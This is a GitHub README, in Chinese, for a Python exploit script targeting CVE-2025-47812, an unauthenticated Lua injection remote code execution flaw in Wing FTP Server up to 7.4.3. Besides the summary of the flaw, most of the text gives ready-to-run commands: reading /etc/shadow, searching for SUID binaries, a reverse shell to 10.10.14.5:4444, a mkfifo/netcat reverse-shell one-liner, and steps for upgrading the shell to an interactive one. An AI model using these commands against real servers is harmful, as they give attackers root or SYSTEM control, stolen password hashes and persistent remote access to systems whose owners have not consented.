0xS4N4TG/CVE-2025-47812
GitHub: 0xS4N4TG/CVE-2025-47812
一个针对 Wing FTP Server 未授权 Lua 注入漏洞的 Python 利用脚本,支持一键检测、命令执行和反弹 shell。
Stars: 0 | Forks: 0
# CVE-2025-47812 — Wing FTP Server 未授权 RCE(重写)
针对 Wing FTP Server ≤ 7.4.3 中未授权的 Lua 注入 RCE 的 Python 利用脚本。专为 shell 投递设计——从 `check` 到获得一个可用的 netcat 回调,只需一条命令。
## 漏洞摘要
Wing FTP 的 `c_CheckUser()` 在认证时会在第一个 NULL 字节处截断 `username`,但会话创建路径会将完整的、未经清理的用户名写入 Lua 会话文件。注入 `anonymous%00]]--`,服务器便会愉快地将你的 Lua 代码写入会话中。访问任意需要认证的端点(`dir.html` 即可生效)会通过 `loadfile()` → `f()` 加载该会话文件,从而以 `root` / `SYSTEM` 权限执行注入的代码。
影响范围:Wing FTP Server ≤ 7.4.3。已在 7.4.4 中修复。
## 安装
```
pip install requests
```
仅此而已——无其他依赖。
## 使用方法
```
# 确认目标存在漏洞(运行 `id` 并检查 `uid=`)
python3 exploit.py -u http://target:5466/ check
# 一次性命令——捕获 stdout 和 stderr
python3 exploit.py -u http://target:5466/ exec "id"
python3 exploit.py -u http://target:5466/ exec "cat /etc/shadow"
python3 exploit.py -u http://target:5466/ exec "find / -perm -4000 2>/dev/null"
# 反向 shell(简单方法)
# Terminal 1:
nc -lvnp 4444
# Terminal 2:
python3 exploit.py -u http://target:5466/ shell 10.10.14.5 4444
# 分离的任意 payload——发射后不管。当缺少 bash 时有用:
python3 exploit.py -u http://target:5466/ detached \
"rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f"
```
### 选项
| 标志 | 默认值 | 说明 |
|------|--------|------|
| `-u`, `--url` | 必需 | 目标基础 URL——Wing FTP 通常监听在 `:5466`(HTTP)或 `:5467`(HTTPS)。 |
| `-U`, `--username` | `anonymous` | NULL 字节前的用户名。默认安装中匿名用户可正常使用。 |
| `-P`, `--password` | 空 | 注入 POST 请求的密码。匿名用户留空即可。 |
| `-v`, `--verbose` | 关闭 | 输出 Lua 载荷、访问的 URL 及原始响应体。 |
### 提示
- 首先确认端口。Web 界面**默认不在** 80 端口——在浏览器中尝试 `http://target:5466/login.html`,不要直接假设 URL 错了。
- 如果 `shell` 模式未能获得回调,请回退到 `detached` 模式并使用上述 `mkfifo` 载荷。某些精简的 Linux 镜像没有预装 `bash`。
- 获得 shell 后提升为交互式 shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Ctrl+Z
stty raw -echo; fg
# 回车,回车
export TERM=xterm
## 免责声明
仅用于教育目的和授权的安全测试。你需自行负责使用本工具指向的目标。
## 许可证
MIT — 参见 [LICENSE](./LICENSE)。
标签:CISA项目, CVE-2025-47812, Lua注入, Maven, Python, Wing FTP Server, 会话注入, 反向shell, 命令执行, 威胁模拟, 提权, 数据展示, 文件写入, 无后门, 服务器漏洞, 未授权漏洞, 模糊测试, 漏洞验证, 红队, 编程工具, 远程代码执行, 逆向工具